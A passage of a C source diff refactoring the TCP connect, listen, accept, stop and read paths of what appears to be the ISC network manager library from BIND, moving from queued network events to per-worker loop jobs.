-	REQUIRE(sock->tid == isc_nm_tid());
-
-	isc__nmsocket_timer_stop(sock);
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
+	REQUIRE(sock->tid == isc_tid());
 
-	if (!atomic_load(&sock->connecting)) {
-		return;
-	}
+	worker = sock->worker;
 
 	req = uv_handle_get_data((uv_handle_t *)uvreq);
 
 	REQUIRE(VALID_UVREQ(req));
 	REQUIRE(VALID_NMHANDLE(req->handle));
 
-	if (!atomic_load(&sock->connecting)) {
-		/*
-		 * The connect was cancelled from timeout; just clean up
-		 * the req.
-		 */
-		isc__nm_uvreq_put(&req, sock);
-		return;
+	INSIST(sock->connecting);
+
+	if (sock->timedout || status == UV_ETIMEDOUT) {
+		/* Connection timed-out */
+		result = ISC_R_TIMEDOUT;
+		goto error;
+	} else if (isc__nm_closing(worker)) {
+		/* Network manager shutting down */
+		result = ISC_R_SHUTTINGDOWN;
+		goto error;
 	} else if (isc__nmsocket_closing(sock)) {
-		/* Socket was closed midflight by isc__nm_tcp_shutdown() */
+		/* Connection canceled */
 		result = ISC_R_CANCELED;
 		goto error;
-	} else if (status == UV_ETIMEDOUT) {
-		/* Timeout status code here indicates hard error */
-		result = ISC_R_TIMEDOUT;
+	} else if (status == UV_EADDRINUSE) {
+		/*
+		 * On FreeBSD the TCP connect() call sometimes results in a
+		 * spurious transient EADDRINUSE. Try a few more times before
+		 * giving up.
+		 */
+		if (--req->connect_tries > 0) {
+			r = uv_tcp_connect(&req->uv_req.connect,
+					   &sock->uv_handle.tcp,
+					   &req->peer.type.sa, tcp_connect_cb);
+			if (r != 0) {
+				result = isc_uverr2result(r);
+				goto error;
+			}
+			return;
+		}
+		result = isc_uverr2result(status);
 		goto error;
 	} else if (status != 0) {
-		result = isc__nm_uverr2result(status);
+		result = isc_uverr2result(status);
 		goto error;
 	}
 
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_CONNECT]);
+	isc__nmsocket_timer_stop(sock);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
+
+	isc__nm_incstats(sock, STATID_CONNECT);
 	r = uv_tcp_getpeername(&sock->uv_handle.tcp, (struct sockaddr *)&ss,
 			       &(int){ sizeof(ss) });
 	if (r != 0) {
-		result = isc__nm_uverr2result(r);
+		result = isc_uverr2result(r);
 		goto error;
 	}
 
-	atomic_store(&sock->connecting, false);
+	sock->connecting = false;
+	sock->connected = true;
 
 	result = isc_sockaddr_fromsockaddr(&sock->peer, (struct sockaddr *)&ss);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
@@ -278,84 +211,72 @@ tcp_connect_cb(uv_connect_t *uvreq, int status) {
 	isc__nm_connectcb(sock, req, ISC_R_SUCCESS, false);
 
 	return;
-
 error:
 	isc__nm_failed_connect_cb(sock, req, result, false);
 }
 
 void
 isc_nm_tcpconnect(isc_nm_t *mgr, isc_sockaddr_t *local, isc_sockaddr_t *peer,
-		  isc_nm_cb_t cb, void *cbarg, unsigned int timeout,
-		  size_t extrahandlesize) {
+		  isc_nm_cb_t connect_cb, void *connect_cbarg,
+		  unsigned int timeout) {
 	isc_result_t result = ISC_R_SUCCESS;
 	isc_nmsocket_t *sock = NULL;
-	isc__netievent_tcpconnect_t *ievent = NULL;
 	isc__nm_uvreq_t *req = NULL;
 	sa_family_t sa_family;
+	isc__networker_t *worker = &mgr->workers[isc_tid()];
+	uv_os_sock_t fd = -1;
 
 	REQUIRE(VALID_NM(mgr));
 	REQUIRE(local != NULL);
 	REQUIRE(peer != NULL);
 
+	if (isc__nm_closing(worker)) {
+		connect_cb(NULL, ISC_R_SHUTTINGDOWN, connect_cbarg);
+		return;
+	}
+
 	sa_family = peer->type.sa.sa_family;
 
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_tcpsocket, local);
+	result = isc__nm_socket(sa_family, SOCK_STREAM, 0, &fd);
+	if (result != ISC_R_SUCCESS) {
+		connect_cb(NULL, result, connect_cbarg);
+		return;
+	}
+
+	sock = isc_mem_get(worker->mctx, sizeof(*sock));
+	isc__nmsocket_init(sock, worker, isc_nm_tcpsocket, local, NULL);
 
-	sock->extrahandlesize = extrahandlesize;
 	sock->connect_timeout = timeout;
-	sock->result = ISC_R_UNSET;
-	sock->fd = (uv_os_sock_t)-1;
-	atomic_init(&sock->client, true);
+	sock->fd = fd;
+	sock->client = true;
 
-	req = isc__nm_uvreq_get(mgr, sock);
-	req->cb.connect = cb;
-	req->cbarg = cbarg;
+	req = isc__nm_uvreq_get(sock);
+	req->cb.connect = connect_cb;
+	req->cbarg = connect_cbarg;
 	req->peer = *peer;
 	req->local = *local;
 	req->handle = isc__nmhandle_get(sock, &req->peer, &sock->iface);
 
-	result = isc__nm_socket(sa_family, SOCK_STREAM, 0, &sock->fd);
+	(void)isc__nm_socket_min_mtu(sock->fd, sa_family);
+	(void)isc__nm_socket_tcp_maxseg(sock->fd, NM_MAXSEG);
+
+	sock->active = true;
+
+	result = tcp_connect_direct(sock, req);
 	if (result != ISC_R_SUCCESS) {
-		if (isc__nm_in_netthread()) {
-			sock->tid = isc_nm_tid();
-			isc__nmsocket_clearcb(sock);
-			isc__nm_connectcb(sock, req, result, false);
-		} else {
-			isc__nmsocket_clearcb(sock);
-			sock->tid = isc_random_uniform(mgr->nworkers);
-			isc__nm_connectcb(sock, req, result, true);
-		}
-		atomic_store(&sock->closed, true);
-		isc__nmsocket_detach(&sock);
-		return;
+		sock->active = false;
+		isc__nm_tcp_close(sock);
+		isc__nm_connectcb(sock, req, result, true);
 	}
 
-	ievent = isc__nm_get_netievent_tcpconnect(mgr, sock, req);
-
-	if (isc__nm_in_netthread()) {
-		atomic_store(&sock->active, true);
-		sock->tid = isc_nm_tid();
-		isc__nm_async_tcpconnect(&mgr->workers[sock->tid],
-					 (isc__netievent_t *)ievent);
-		isc__nm_put_netievent_tcpconnect(mgr, ievent);
-	} else {
-		atomic_init(&sock->active, false);
-		sock->tid = isc_random_uniform(mgr->nworkers);
-		isc__nm_enqueue_ievent(&mgr->workers[sock->tid],
-				       (isc__netievent_t *)ievent);
-	}
-	LOCK(&sock->lock);
-	while (sock->result == ISC_R_UNSET) {
-		WAIT(&sock->cond, &sock->lock);
-	}
-	atomic_store(&sock->active, true);
-	BROADCAST(&sock->scond);
-	UNLOCK(&sock->lock);
+	/*
+	 * The sock is now attached to the handle.
+	 */
+	isc__nmsocket_detach(&sock);
 }
 
 static uv_os_sock_t
-isc__nm_tcp_lb_socket(sa_family_t sa_family) {
+isc__nm_tcp_lb_socket(isc_nm_t *mgr, sa_family_t sa_family) {
 	isc_result_t result;
 	uv_os_sock_t sock;
 
@@ -363,514 +284,468 @@ isc__nm_tcp_lb_socket(sa_family_t sa_family) {
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
 	(void)isc__nm_socket_incoming_cpu(sock);
+	(void)isc__nm_socket_v6only(sock, sa_family);
 
 	/* FIXME: set mss */
 
 	result = isc__nm_socket_reuse(sock);
 	RUNTIME_CHECK(result == ISC_R_SUCCESS);
 
-#if HAVE_SO_REUSEPORT_LB
-	result = isc__nm_socket_reuse_lb(sock);
-	RUNTIME_CHECK(result == ISC_R_SUCCESS);
-#endif
+	if (mgr->load_balance_sockets) {
+		result = isc__nm_socket_reuse_lb(sock);
+		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+	}
 
 	return (sock);
 }
 
 static void
-start_tcp_child(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nmsocket_t *sock,
-		uv_os_sock_t fd, int tid) {
-	isc__netievent_tcplisten_t *ievent = NULL;
-	isc_nmsocket_t *csock = &sock->children[tid];
+start_tcp_child_job(void *arg) {
+	isc_nmsocket_t *sock = arg;
 
-	isc__nmsocket_init(csock, mgr, isc_nm_tcpsocket, iface);
-	csock->parent = sock;
-	csock->accept_cb = sock->accept_cb;
-	csock->accept_cbarg = sock->accept_cbarg;
-	csock->extrahandlesize = sock->extrahandlesize;
-	csock->backlog = sock->backlog;
-	csock->tid = tid;
-	/*
-	 * We don't attach to quota, just assign - to avoid
-	 * increasing quota unnecessarily.
-	 */
-	csock->pquota = sock->pquota;
-	isc_quota_cb_init(&csock->quotacb, quota_accept_cb, csock);
-
-#if HAVE_SO_REUSEPORT_LB
-	UNUSED(fd);
-	csock->fd = isc__nm_tcp_lb_socket(iface->type.sa.sa_family);
-#else
-	csock->fd = dup(fd);
-#endif
-	REQUIRE(csock->fd >= 0);
-
-	ievent = isc__nm_get_netievent_tcplisten(mgr, csock);
-	isc__nm_maybe_enqueue_ievent(&mgr->workers[tid],
-				     (isc__netievent_t *)ievent);
-}
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(VALID_NMSOCK(sock->parent));
+	REQUIRE(sock->type == isc_nm_tcpsocket);
+	REQUIRE(sock->tid == isc_tid());
 
-static void
-enqueue_stoplistening(isc_nmsocket_t *sock) {
-	isc__netievent_tcpstop_t *ievent =
-		isc__nm_get_netievent_tcpstop(sock->mgr, sock);
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-}
+	sa_family_t sa_family = sock->iface.type.sa.sa_family;
+	int r, flags = 0;
+	isc_result_t result = ISC_R_UNSET;
+	isc_loop_t *loop = sock->worker->loop;
+	struct sockaddr_storage ss;
 
-isc_result_t
-isc_nm_listentcp(isc_nm_t *mgr, isc_sockaddr_t *iface,
-		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg,
-		 size_t extrahandlesize, int backlog, isc_quota_t *quota,
-		 isc_nmsocket_t **sockp) {
-	isc_result_t result = ISC_R_SUCCESS;
-	isc_nmsocket_t *sock = NULL;
-	size_t children_size = 0;
-	uv_os_sock_t fd = -1;
+	(void)isc__nm_socket_min_mtu(sock->fd, sa_family);
+	(void)isc__nm_socket_tcp_maxseg(sock->fd, NM_MAXSEG);
 
-	REQUIRE(VALID_NM(mgr));
+	r = uv_tcp_init(&loop->loop, &sock->uv_handle.tcp);
+	UV_RUNTIME_CHECK(uv_tcp_init, r);
+	uv_handle_set_data(&sock->uv_handle.handle, sock);
+	/* This keeps the socket alive after everything else is gone */
+	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
 
-	sock = isc_mem_get(mgr->mctx, sizeof(*sock));
-	isc__nmsocket_init(sock, mgr, isc_nm_tcplistener, iface);
+	r = uv_timer_init(&loop->loop, &sock->read_timer);
+	UV_RUNTIME_CHECK(uv_timer_init, r);
+	uv_handle_set_data((uv_handle_t *)&sock->read_timer, sock);
 
-	atomic_init(&sock->rchildren, 0);
-	sock->nchildren = mgr->nworkers;
-	children_size = sock->nchildren * sizeof(sock->children[0]);
-	sock->children = isc_mem_get(mgr->mctx, children_size);
-	memset(sock->children, 0, children_size);
+	r = uv_tcp_open(&sock->uv_handle.tcp, sock->fd);
+	if (r < 0) {
+		isc__nm_closesocket(sock->fd);
+		isc__nm_incstats(sock, STATID_OPENFAIL);
+		goto done;
+	}
+	isc__nm_incstats(sock, STATID_OPEN);
 
-	sock->result = ISC_R_UNSET;
+	if (sa_family == AF_INET6) {
+		flags = UV_TCP_IPV6ONLY;
+	}
 
-	sock->accept_cb = accept_cb;
-	sock->accept_cbarg = accept_cbarg;
-	sock->extrahandlesize = extrahandlesize;
-	sock->backlog = backlog;
-	sock->pquota = quota;
+	if (sock->worker->netmgr->load_balance_sockets) {
+		r = isc__nm_tcp_freebind(&sock->uv_handle.tcp,
+					 &sock->iface.type.sa, flags);
+		if (r < 0) {
+			isc__nm_incstats(sock, STATID_BINDFAIL);
+			goto done;
+		}
+	} else if (sock->tid == 0) {
+		r = isc__nm_tcp_freebind(&sock->uv_handle.tcp,
+					 &sock->iface.type.sa, flags);
+		if (r < 0) {
+			isc__nm_incstats(sock, STATID_BINDFAIL);
+			goto done;
+		}
+		sock->parent->uv_handle.tcp.flags = sock->uv_handle.tcp.flags;
+	} else {
+		/* The socket is already bound, just copy the flags */
+		sock->uv_handle.tcp.flags = sock->parent->uv_handle.tcp.flags;
+	}
 
-	sock->tid = 0;
-	sock->fd = -1;
+	isc__nm_set_network_buffers(sock->worker->netmgr,
+				    &sock->uv_handle.handle);
 
-#if !HAVE_SO_REUSEPORT_LB
-	fd = isc__nm_tcp_lb_socket(iface->type.sa.sa_family);
-#endif
+	/*
+	 * The callback will run in the same thread uv_listen() was called
+	 * from, so a race with tcp_connection_cb() isn't possible.
+	 */
+	r = uv_listen((uv_stream_t *)&sock->uv_handle.tcp, sock->backlog,
+		      tcp_connection_cb);
+	if (r != 0) {
+		isc__nmsocket_log(sock, ISC_LOG_ERROR, "uv_listen failed: %s",
+				  isc_result_totext(isc_uverr2result(r)));
+		isc__nm_incstats(sock, STATID_BINDFAIL);
+		goto done;
+	}
 
-	isc_barrier_init(&sock->startlistening, sock->nchildren);
+	if (sock->tid == 0) {
+		r = uv_tcp_getsockname(&sock->uv_handle.tcp,
+				       (struct sockaddr *)&ss,
+				       &(int){ sizeof(ss) });
+		if (r != 0) {
+			goto done;
+		}
 
-	for (size_t i = 0; i < sock->nchildren; i++) {
-		if ((int)i == isc_nm_tid()) {
-			continue;
+		result = isc_sockaddr_fromsockaddr(&sock->parent->iface,
+						   (struct sockaddr *)&ss);
+		if (result != ISC_R_SUCCESS) {
+			goto done_result;
 		}
-		start_tcp_child(mgr, iface, sock, fd, i);
 	}
 
-	if (isc__nm_in_netthread()) {
-		start_tcp_child(mgr, iface, sock, fd, isc_nm_tid());
+done:
+	result = isc_uverr2result(r);
+
+done_result:
+	if (result != ISC_R_SUCCESS) {
+		sock->pquota = NULL;
 	}
 
-#if !HAVE_SO_REUSEPORT_LB
-	isc__nm_closesocket(fd);
-#endif
+	sock->result = result;
 
-	LOCK(&sock->lock);
-	while (atomic_load(&sock->rchildren) != sock->nchildren) {
-		WAIT(&sock->cond, &sock->lock);
+	REQUIRE(!loop->paused);
+
+	if (sock->tid != 0) {
+		isc_barrier_wait(&sock->parent->listen_barrier);
 	}
-	result = sock->result;
-	atomic_store(&sock->active, true);
-	UNLOCK(&sock->lock);
+}
 
-	INSIST(result != ISC_R_UNSET);
+static void
+start_tcp_child(isc_nm_t *mgr, isc_sockaddr_t *iface, isc_nmsocket_t *sock,
+		uv_os_sock_t fd, int tid) {
+	isc_nmsocket_t *csock = &sock->children[tid];
+	isc__networker_t *worker = &mgr->workers[tid];
+
+	isc__nmsocket_init(csock, worker, isc_nm_tcpsocket, iface, sock);
+	csock->accept_cb = sock->accept_cb;
+	csock->accept_cbarg = sock->accept_cbarg;
+	csock->backlog = sock->backlog;
 
-	if (result == ISC_R_SUCCESS) {
-		REQUIRE(atomic_load(&sock->rchildren) == sock->nchildren);
-		*sockp = sock;
+	/*
+	 * Quota isn't attached, just assigned.
+	 */
+	csock->pquota = sock->pquota;
+
+	if (mgr->load_balance_sockets) {
+		UNUSED(fd);
+		csock->fd = isc__nm_tcp_lb_socket(mgr,
+						  iface->type.sa.sa_family);
 	} else {
-		atomic_store(&sock->active, false);
-		enqueue_stoplistening(sock);
-		isc_nmsocket_close(&sock);
+		csock->fd = dup(fd);
 	}
+	REQUIRE(csock->fd >= 0);
 
-	return (result);
+	if (tid == 0) {
+		start_tcp_child_job(csock);
+	} else {
+		isc_async_run(worker->loop, start_tcp_child_job, csock);
+	}
 }
 
-void
-isc__nm_async_tcplisten(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcplisten_t *ievent = (isc__netievent_tcplisten_t *)ev0;
-	sa_family_t sa_family;
-	int r;
-	int flags = 0;
+isc_result_t
+isc_nm_listentcp(isc_nm_t *mgr, uint32_t workers, isc_sockaddr_t *iface,
+		 isc_nm_accept_cb_t accept_cb, void *accept_cbarg, int backlog,
+		 isc_quota_t *quota, isc_nmsocket_t **sockp) {
 	isc_nmsocket_t *sock = NULL;
-	isc_result_t result;
-
-	REQUIRE(VALID_NMSOCK(ievent->sock));
-	REQUIRE(ievent->sock->tid == isc_nm_tid());
-	REQUIRE(VALID_NMSOCK(ievent->sock->parent));
+	uv_os_sock_t fd = -1;
+	isc_result_t result = ISC_R_UNSET;
+	isc__networker_t *worker = &mgr->workers[0];
 
-	sock = ievent->sock;
-	sa_family = sock->iface.type.sa.sa_family;
+	REQUIRE(VALID_NM(mgr));
+	REQUIRE(isc_tid() == 0);
 
-	REQUIRE(sock->type == isc_nm_tcpsocket);
-	REQUIRE(sock->parent != NULL);
-	REQUIRE(sock->tid == isc_nm_tid());
+	if (workers == 0) {
+		workers = mgr->nloops;
+	}
+	REQUIRE(workers <= mgr->nloops);
 
-	/* TODO: set min mss */
+	sock = isc_mem_get(worker->mctx, sizeof(*sock));
+	isc__nmsocket_init(sock, worker, isc_nm_tcplistener, iface, NULL);
 
-	r = uv_tcp_init(&worker->loop, &sock->uv_handle.tcp);
-	RUNTIME_CHECK(r == 0);
+	sock->nchildren = (workers == ISC_NM_LISTEN_ALL) ? (uint32_t)mgr->nloops
+							 : workers;
+	sock->children = isc_mem_cget(worker->mctx, sock->nchildren,
+				      sizeof(sock->children[0]));
 
-	uv_handle_set_data(&sock->uv_handle.handle, sock);
-	/* This keeps the socket alive after everything else is gone */
-	isc__nmsocket_attach(sock, &(isc_nmsocket_t *){ NULL });
+	isc__nmsocket_barrier_init(sock);
 
-	r = uv_timer_init(&worker->loop, &sock->timer);
-	RUNTIME_CHECK(r == 0);
+	sock->accept_cb = accept_cb;
+	sock->accept_cbarg = accept_cbarg;
+	sock->backlog = backlog;
+	sock->pquota = quota;
 
-	uv_handle_set_data((uv_handle_t *)&sock->timer, sock);
+	if (!mgr->load_balance_sockets) {
+		fd = isc__nm_tcp_lb_socket(mgr, iface->type.sa.sa_family);
+	}
 
-	LOCK(&sock->parent->lock);
+	start_tcp_child(mgr, iface, sock, fd, 0);
+	result = sock->children[0].result;
+	INSIST(result != ISC_R_UNSET);
 
-	r = uv_tcp_open(&sock->uv_handle.tcp, sock->fd);
-	if (r < 0) {
-		isc__nm_closesocket(sock->fd);
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPENFAIL]);
-		goto done;
+	for (size_t i = 1; i < sock->nchildren; i++) {
+		start_tcp_child(mgr, iface, sock, fd, i);
 	}
-	isc__nm_incstats(sock->mgr, sock->statsindex[STATID_OPEN]);
 
-	if (sa_family == AF_INET6) {
-		flags = UV_TCP_IPV6ONLY;
-	}
+	isc_barrier_wait(&sock->listen_barrier);
 
-#if HAVE_SO_REUSEPORT_LB
-	r = isc_uv_tcp_freebind(&sock->uv_handle.tcp, &sock->iface.type.sa,
-				flags);
-	if (r < 0) {
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
-	}
-#else
-	if (sock->parent->fd == -1) {
-		r = isc_uv_tcp_freebind(&sock->uv_handle.tcp,
-					&sock->iface.type.sa, flags);
-		if (r < 0) {
-			isc__nm_incstats(sock->mgr,
-					 sock->statsindex[STATID_BINDFAIL]);
-			goto done;
-		}
-		sock->parent->uv_handle.tcp.flags = sock->uv_handle.tcp.flags;
-		sock->parent->fd = sock->fd;
-	} else {
-		/* The socket is already bound, just copy the flags */
-		sock->uv_handle.tcp.flags = sock->parent->uv_handle.tcp.flags;
+	if (!mgr->load_balance_sockets) {
+		isc__nm_closesocket(fd);
 	}
-#endif
-
-	isc__nm_set_network_buffers(sock->mgr, &sock->uv_handle.handle);
 
 	/*
-	 * The callback will run in the same thread uv_listen() was called
-	 * from, so a race with tcp_connection_cb() isn't possible.
+	 * If any of the child sockets have failed then isc_nm_listentcp
+	 * fails.
 	 */
-	r = uv_listen((uv_stream_t *)&sock->uv_handle.tcp, sock->backlog,
-		      tcp_connection_cb);
-	if (r != 0) {
-		isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-			      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-			      "uv_listen failed: %s",
-			      isc_result_totext(isc__nm_uverr2result(r)));
-		isc__nm_incstats(sock->mgr, sock->statsindex[STATID_BINDFAIL]);
-		goto done;
+	for (size_t i = 1; i < sock->nchildren; i++) {
+		if (result == ISC_R_SUCCESS &&
+		    sock->children[i].result != ISC_R_SUCCESS)
+		{
+			result = sock->children[i].result;
+		}
 	}
 
-	atomic_store(&sock->listening, true);
-
-done:
-	result = isc__nm_uverr2result(r);
 	if (result != ISC_R_SUCCESS) {
-		sock->pquota = NULL;
-	}
+		sock->active = false;
+		isc__nm_tcp_stoplistening(sock);
+		isc_nmsocket_close(&sock);
 
-	atomic_fetch_add(&sock->parent->rchildren, 1);
-	if (sock->parent->result == ISC_R_UNSET) {
-		sock->parent->result = result;
+		return (result);
 	}
-	SIGNAL(&sock->parent->cond);
-	UNLOCK(&sock->parent->lock);
 
-	isc_barrier_wait(&sock->parent->startlistening);
+	sock->active = true;
+
+	*sockp = sock;
+	return (ISC_R_SUCCESS);
 }
 
 static void
 tcp_connection_cb(uv_stream_t *server, int status) {
 	isc_nmsocket_t *ssock = uv_handle_get_data((uv_handle_t *)server);
 	isc_result_t result;
-	isc_quota_t *quota = NULL;
+
+	REQUIRE(ssock->accept_cb != NULL);
 
 	if (status != 0) {
-		result = isc__nm_uverr2result(status);
+		result = isc_uverr2result(status);
 		goto done;
 	}
 
 	REQUIRE(VALID_NMSOCK(ssock));
-	REQUIRE(ssock->tid == isc_nm_tid());
+	REQUIRE(ssock->tid == isc_tid());
 
 	if (isc__nmsocket_closing(ssock)) {
 		result = ISC_R_CANCELED;
 		goto done;
 	}
 
-	if (ssock->pquota != NULL) {
-		result = isc_quota_attach_cb(ssock->pquota, &quota,
-					     &ssock->quotacb);
+	/* Prepare the child socket */
+	isc_nmsocket_t *csock = isc_mem_get(ssock->worker->mctx,
+					    sizeof(isc_nmsocket_t));
+	isc__nmsocket_init(csock, ssock->worker, isc_nm_tcpsocket,
+			   &ssock->iface, NULL);
+	isc__nmsocket_attach(ssock, &csock->server);
+
+	if (csock->server->pquota != NULL) {
+		result = isc_quota_acquire_cb(csock->server->pquota,
+					      &csock->quotacb, quota_accept_cb,
+					      csock);
 		if (result == ISC_R_QUOTA) {
-			isc__nm_incstats(ssock->mgr,
-					 ssock->statsindex[STATID_ACCEPTFAIL]);
-			return;
+			isc__nm_incstats(ssock, STATID_ACCEPTFAIL);
+			goto done;
 		}
 	}
 
-	result = accept_connection(ssock, quota);
+	result = accept_connection(csock);
 done:
-	if (result != ISC_R_SUCCESS && result != ISC_R_NOCONN) {
-		if ((result != ISC_R_QUOTA && result != ISC_R_SOFTQUOTA) ||
-		    can_log_tcp_quota()) {
-			isc_log_write(isc_lctx, ISC_LOGCATEGORY_GENERAL,
-				      ISC_LOGMODULE_NETMGR, ISC_LOG_ERROR,
-				      "TCP connection failed: %s",
-				      isc_result_totext(result));
-		}
-	}
+	isc__nm_accept_connection_log(ssock, result, can_log_tcp_quota());
 }
 
-void
-isc__nm_tcp_stoplistening(isc_nmsocket_t *sock) {
+static void
+stop_tcp_child_job(void *arg) {
+	isc_nmsocket_t *sock = arg;
+
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->type == isc_nm_tcplistener);
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->parent != NULL);
+	REQUIRE(sock->type == isc_nm_tcpsocket);
+	REQUIRE(!sock->closing);
 
-	if (!atomic_compare_exchange_strong(&sock->closing, &(bool){ false },
-					    true)) {
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
+	sock->active = false;
+	sock->closing = true;
 
-	if (!isc__nm_in_netthread()) {
-		enqueue_stoplistening(sock);
-	} else {
-		stop_tcp_parent(sock);
-	}
-}
+	/*
+	 * The order of the close operation is important here, the uv_close()
+	 * gets scheduled in the reverse order, so we need to close the timer
+	 * last, so its gone by the time we destroy the socket
+	 */
 
-void
-isc__nm_async_tcpstop(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpstop_t *ievent = (isc__netievent_tcpstop_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
+	/* 2. close the listening socket */
+	isc__nmsocket_clearcb(sock);
+	isc__nm_stop_reading(sock);
+	uv_close(&sock->uv_handle.handle, tcp_stop_cb);
 
-	UNUSED(worker);
+	/* 1. close the read timer */
+	isc__nmsocket_timer_stop(sock);
+	uv_close(&sock->read_timer, NULL);
+
+	REQUIRE(!sock->worker->loop->paused);
+	isc_barrier_wait(&sock->parent->stop_barrier);
+}
 
+static void
+stop_tcp_child(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
 
-	if (sock->parent != NULL) {
-		stop_tcp_child(sock);
-		return;
+	if (sock->tid == 0) {
+		stop_tcp_child_job(sock);
+	} else {
+		isc_async_run(sock->worker->loop, stop_tcp_child_job, sock);
 	}
-
-	stop_tcp_parent(sock);
 }
 
 void
-isc__nm_tcp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result) {
+isc__nm_tcp_stoplistening(isc_nmsocket_t *sock) {
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(result != ISC_R_SUCCESS);
+	REQUIRE(sock->type == isc_nm_tcplistener);
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->tid == 0);
+	REQUIRE(!sock->closing);
 
-	isc__nmsocket_timer_stop(sock);
-	isc__nm_stop_reading(sock);
+	sock->closing = true;
 
-	if (!sock->recv_read) {
-		goto destroy;
-	}
-	sock->recv_read = false;
+	/* Mark the parent socket inactive */
+	sock->active = false;
 
-	if (sock->recv_cb != NULL) {
-		isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
-		isc__nmsocket_clearcb(sock);
-		isc__nm_readcb(sock, req, result);
+	/* Stop all the other threads' children */
+	for (size_t i = 1; i < sock->nchildren; i++) {
+		stop_tcp_child(&sock->children[i]);
 	}
 
-destroy:
-	isc__nmsocket_prep_destroy(sock);
+	/* Stop the child for the main thread */
+	stop_tcp_child(&sock->children[0]);
 
-	/*
-	 * We need to detach from quota after the read callback function had a
-	 * chance to be executed.
-	 */
-	if (sock->quota != NULL) {
-		isc_quota_detach(&sock->quota);
-	}
+	/* Stop the parent */
+	sock->closed = true;
+
+	isc__nmsocket_prep_destroy(sock);
 }
 
 static void
-failed_send_cb(isc_nmsocket_t *sock, isc__nm_uvreq_t *req,
-	       isc_result_t eresult) {
+tcp_stop_cb(uv_handle_t *handle) {
+	isc_nmsocket_t *sock = uv_handle_get_data(handle);
+	uv_handle_set_data(handle, NULL);
+
 	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(VALID_UVREQ(req));
+	REQUIRE(sock->tid == isc_tid());
+	REQUIRE(sock->closing);
+	REQUIRE(sock->type == isc_nm_tcpsocket);
+	REQUIRE(!sock->closed);
+
+	sock->closed = true;
+
+	isc__nm_incstats(sock, STATID_CLOSE);
+
+	isc__nmsocket_detach(&sock);
+}
+
+void
+isc__nm_tcp_failed_read_cb(isc_nmsocket_t *sock, isc_result_t result,
+			   bool async) {
+	REQUIRE(VALID_NMSOCK(sock));
+	REQUIRE(result != ISC_R_SUCCESS);
+
+	isc__nmsocket_timer_stop(sock);
+	isc__nm_stop_reading(sock);
 
-	if (req->cb.send != NULL) {
-		isc__nm_sendcb(sock, req, eresult, true);
-	} else {
-		isc__nm_uvreq_put(&req, sock);
+	if (sock->recv_cb != NULL) {
+		isc__nm_uvreq_t *req = isc__nm_get_read_req(sock, NULL);
+		isc__nmsocket_clearcb(sock);
+		isc__nm_readcb(sock, req, result, async);
 	}
+
+	isc__nmsocket_prep_destroy(sock);
 }
 
 void
 isc__nm_tcp_read(isc_nmhandle_t *handle, isc_nm_recv_cb_t cb, void *cbarg) {
+	isc_nmsocket_t *sock;
+	isc_nm_t *netmgr;
+	isc_result_t result;
+
 	REQUIRE(VALID_NMHANDLE(handle));
 	REQUIRE(VALID_NMSOCK(handle->sock));
 
-	isc_nmsocket_t *sock = handle->sock;
-	isc__netievent_tcpstartread_t *ievent = NULL;
+	sock = handle->sock;
+	netmgr = sock->worker->netmgr;
 
 	REQUIRE(sock->type == isc_nm_tcpsocket);
 	REQUIRE(sock->statichandle == handle);
-	REQUIRE(sock->tid == isc_nm_tid());
-	REQUIRE(!sock->recv_read);
 
 	sock->recv_cb = cb;
 	sock->recv_cbarg = cbarg;
-	sock->recv_read = true;
+
+	/* Initialize the timer */
 	if (sock->read_timeout == 0) {
 		sock->read_timeout =
-			(atomic_load(&sock->keepalive)
-				 ? atomic_load(&sock->mgr->keepalive)
-				 : atomic_load(&sock->mgr->idle));
+			sock->keepalive
+				? atomic_load_relaxed(&netmgr->keepalive)
+				: atomic_load_relaxed(&netmgr->idle);
 	}
 
-	ievent = isc__nm_get_netievent_tcpstartread(sock->mgr, sock);
-
-	/*
-	 * This MUST be done asynchronously, no matter which thread we're
-	 * in. The callback function for isc_nm_read() often calls
-	 * isc_nm_read() again; if we tried to do that synchronously
-	 * we'd clash in processbuffer() and grow the stack indefinitely.
-	 */
-	isc__nm_enqueue_ievent(&sock->mgr->workers[sock->tid],
-			       (isc__netievent_t *)ievent);
-
-	return;
-}
-
-void
-isc__nm_async_tcpstartread(isc__networker_t *worker, isc__netievent_t *ev0) {
-	isc__netievent_tcpstartread_t *ievent =
-		(isc__netievent_tcpstartread_t *)ev0;
-	isc_nmsocket_t *sock = ievent->sock;
-
-	REQUIRE(VALID_NMSOCK(sock));
-	REQUIRE(sock->tid == isc_nm_tid());
-	UNUSED(worker);
-
 	if (isc__nmsocket_closing(sock)) {
-		sock->reading = true;
-		isc__nm_tcp_failed_read_cb(sock, ISC_R_CANCELED);
-		return;
+		result = ISC_R_CANCELED;
+		goto failure;
 	}
 
